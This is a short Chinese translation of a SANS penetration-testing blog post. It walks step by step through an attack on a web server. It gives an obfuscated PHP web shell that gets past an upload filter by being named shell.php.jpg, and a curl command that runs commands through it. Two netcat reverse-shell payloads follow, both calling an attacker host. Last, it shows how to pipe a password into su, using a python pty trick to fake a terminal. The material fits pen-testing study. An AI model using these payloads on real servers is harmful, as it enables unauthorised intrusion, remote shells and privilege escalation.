[译]web shell中使用su

原文地址: http://pen-testing.sans.org/blog/pen-testing/2014/07/08/sneaky-stealthy-su-in-web-shells
本文的重点是讲述如何使用su
场景:web服务器中存在一个上传漏洞,site确保上传文件以.jpg或.png结尾。这时,上传一个shell.php.jpg,包含如下代码:
<?php @extract($_REQUEST); @die ($ctime($atime)); ?>

该这个shell绕过了扩展名检查,但是由于它在文件名中包含.php,许多系统把它当成脚本执行。同时,这个shell不包含"/bin/sh","shell_exec"或system字符串。
$ curl "http://Site/shell.php.jpg?ctime=system&atime=whoami"
apache

现在我们拥有了一个webshell。
接下来是建立一个连会攻击者的netcat session
http://Site/shell.php.jpg?ctime=system&atime=nc+-nv+my.attack.er.ip+80+-e+/bin/sh

如果目标机的netcat不支持-e选项,参考GAPING_SECURITY_HOLE选项,可以使用下面的方法(参考: http://pen-testing.sans.org/blog/pen-testing/2013/05/06/netcat-without-e-no-problem):
http://Site/shell.php.jpg?ctime=system&atime=mknod+/tmp/mypipe+p;+/bin/sh+</tmp/mypipe+|+nc+my.attack.er.ip+80+>/tmp/mypipe

一旦我们建立了shell,接下来使用su/sudo来提权,因为他们使用一种特殊方法来交互(s使用sudo,参考 http://ecstaticsec.tumblr.com/post/87205770569/sudo-tricks)
如果你不想有一个反向连接到你的server的connection,但是你该如何升级权限?因为sudo不可能出现在/etc/sudoers文件中。su有一个-c选项,允许我们指定命令。但是我们有一个问题,我们需要运行su以及提供一个密码。如果我莫使用echo来访su传递密码会怎样?
$ echo password | su -c whoami

必须是一个tty
可能会得到一个“must be run from a terminal”错误--su命令希望我们从终端运行。
我们可以使用python来伪造一个终端:
(sleep 1; echo password) | python -c "import pty; pty.spawn(['/bin/su','-c','whoami']);"

你可能感兴趣的:(shell)